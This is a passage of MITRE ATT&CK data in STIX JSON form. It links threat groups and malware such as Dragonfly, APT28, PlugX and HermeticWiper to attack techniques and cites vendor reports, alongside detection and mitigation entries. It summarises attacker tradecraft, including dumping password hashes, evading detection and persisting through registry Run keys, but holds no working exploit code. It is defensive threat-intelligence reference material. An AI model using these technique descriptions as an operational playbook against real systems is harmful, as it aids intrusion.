2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a28e6ec8-0519-40e7-b252-90205dfbe5d9","type":"relationship","created":"2021-01-27T16:43:48.380Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-08-30T23:07:28.928Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious attachments that lead victims to credential harvesting websites.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a28ed204-7e5c-4090-a0c5-0a056ef602fe","type":"relationship","created":"2020-03-20T02:17:36.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","source_name":"Kaspersky Adwind Feb 2016"}],"modified":"2020-06-23T19:55:50.241Z","description":"[jRAT](https://attack.mitre.org/software/S0283) has been distributed as HTA files with JScript.(Citation: Kaspersky Adwind Feb 2016)\t","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a291d185-31c8-4458-a3fc-9af617af28d9","created":"2021-12-06T19:48:35.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Core Security Impacket","description":"Core Security. (n.d.). Impacket. Retrieved November 2, 2017.","url":"https://www.coresecurity.com/core-labs/open-source-tools/impacket"},{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T22:09:34.693Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers.(Citation: US-CERT TA18-074A)(Citation: Core Security Impacket)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2922277-e582-4baf-8c74-568964d17d2a","created":"2023-10-01T02:35:11.874Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T02:35:11.874Z","description":"Monitor for unexpected and abnormal file creations that may indicate malicious content injected through online network communications.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a292f2c5-a071-424e-b8b8-03d195c466ad","type":"relationship","created":"2021-10-01T15:26:28.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-10-01T15:26:28.691Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has renamed the WinRAR utility to avoid detection.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a295ad0d-28fe-4707-a699-7e49b4e8d9f3","created":"2023-02-10T18:53:20.864Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T18:53:20.864Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can use `WMI` queries to detect the presence of a virtual machine environment.(Citation: HP SVCReady Jun 2022) ","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a299b456-78d0-4cf2-accc-4dfd7b5cd74d","type":"relationship","created":"2020-10-02T17:08:07.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T17:08:07.889Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a299d166-08c3-4be5-b572-ec109fd87d37","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T14:06:00.967Z","description":"Monitor executed commands and arguments for indicators of obfuscation and potentially suspicious syntax such as uninterpreted escape characters (e.g., `^`).\n\nAlso monitor command-lines for syntax-specific signs of obfuscation, such as variations of arguments associated with encoding.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a29a37fc-86e2-4b93-8fa5-560b0a395fbc","type":"relationship","created":"2019-07-19T16:38:05.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}],"modified":"2019-07-22T15:49:28.943Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) used netstat -oan to obtain information about the victim network connections.(Citation: Cybereason Soft Cell June 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a29d9514-3284-4ac2-a93a-e17750519534","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CIRCL PlugX March 2013","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Lastline PlugX Analysis","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.","url":"http://labs.lastline.com/an-analysis-of-plugx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.636Z","description":"[PlugX](https://attack.mitre.org/software/S0013) adds Run key entries in the Registry to establish persistence.(Citation: Lastline PlugX Analysis)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2a31eb7-0b22-416c-b12d-e52e5f37f8b8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-17T19:03:08.971Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) is capable of executing commands via cmd.exe.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2a5e505-b957-430e-9bbd-75e6d9e34532","created":"2024-01-03T21:42:07.664Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-03T21:42:07.664Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has exploited the ProxyLogon vulnerability (CVE-2021-26855) to compromise Exchange Servers at multiple organizations.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2ab7644-12fd-48a8-a10a-6ca44b80f1a5","created":"2024-09-25T13:45:34.926Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:45:34.926Z","description":"Monitor executed commands and arguments that may indicate common proxyware functionality. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--718cb208-6446-4572-a2f0-9c799c60091e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2acfa7e-4ba4-42e0-ae13-068c17d7d7fa","created":"2022-03-25T19:14:18.157Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware"},{"source_name":"Symantec Ukraine Wipers February 2022","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"},{"source_name":"Crowdstrike DriveSlayer February 2022","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:22:24.814Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can compress 32-bit and 64-bit driver files with the Lempel-Ziv algorithm.(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2ad2bea-4359-47a8-ae5f-f18beab07316","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.686Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) can download and upload files to and from the victim’s machine.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2b97730-39f9-4ba6-b481-d27f883ff26f","created":"2022-10-13T15:43:21.317Z","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:43:21.317Z","description":"[Amadey](https://attack.mitre.org/software/S1025) can download and execute files to further infect a host machine with additional malware.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2bda2c9-b4cb-4a4c-9fce-f8efbab38fa6","created":"2023-05-31T12:33:20.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:21:35.492Z","description":"Anti-virus can be used to automatically quarantine suspicious files.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2c0d9fd-5ce9-4df1-8218-771b111bc1e4","created":"2023-03-17T15:07:23.849Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:07:23.849Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) targeted Windows servers running Internet Information Systems (IIS) to install C2 components.(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2c141ff-d733-4d73-96af-618ed26b7547","type":"relationship","created":"2020-10-27T19:26:38.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-11-09T21:54:39.077Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has loaded and executed DLLs in memory during runtime on a victim machine.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a2c1921d-3d5d-4ec7-ab4d-4fe2e7d19e64","created":"2022-05-04T22:26:38.149Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can collect data from a compromised host.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-04T22:26:38.149Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2c59195-f81a-4ed1-8d64-7137f961a835","created":"2019-01-29T21:47:53.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) obfuscates the configuration with a custom Base64 and XOR.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2c599c5-be26-4837-a613-b7d74446247c","type":"relationship","created":"2020-10-22T01:50:12.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-22T01:50:12.849Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has checked for the presence of \"Little Snitch\", macOS network monitoring and application firewall software, stopping and exiting if it is found.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2c9bae6-15aa-4ce0-8f4d-01b8fc32a36d","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.902Z","description":"(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"malware--0e18b800-906c-4e44-a143-b11c72b3448b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2d91513-68d5-4df2-ab2f-05a25b72f419","created":"2023-09-27T14:45:52.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:25:16.295Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor which could execute a supplied DLL using `rundll32.exe`. (Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2db7220-d784-485f-bc77-046b90c02daf","type":"relationship","created":"2020-05-06T21:01:23.490Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.490Z","description":"[Attor](https://attack.mitre.org/software/S0438) has manipulated the time of last access to files and registry keys after they have been created or modified.(Citation: ESET Attor Oct 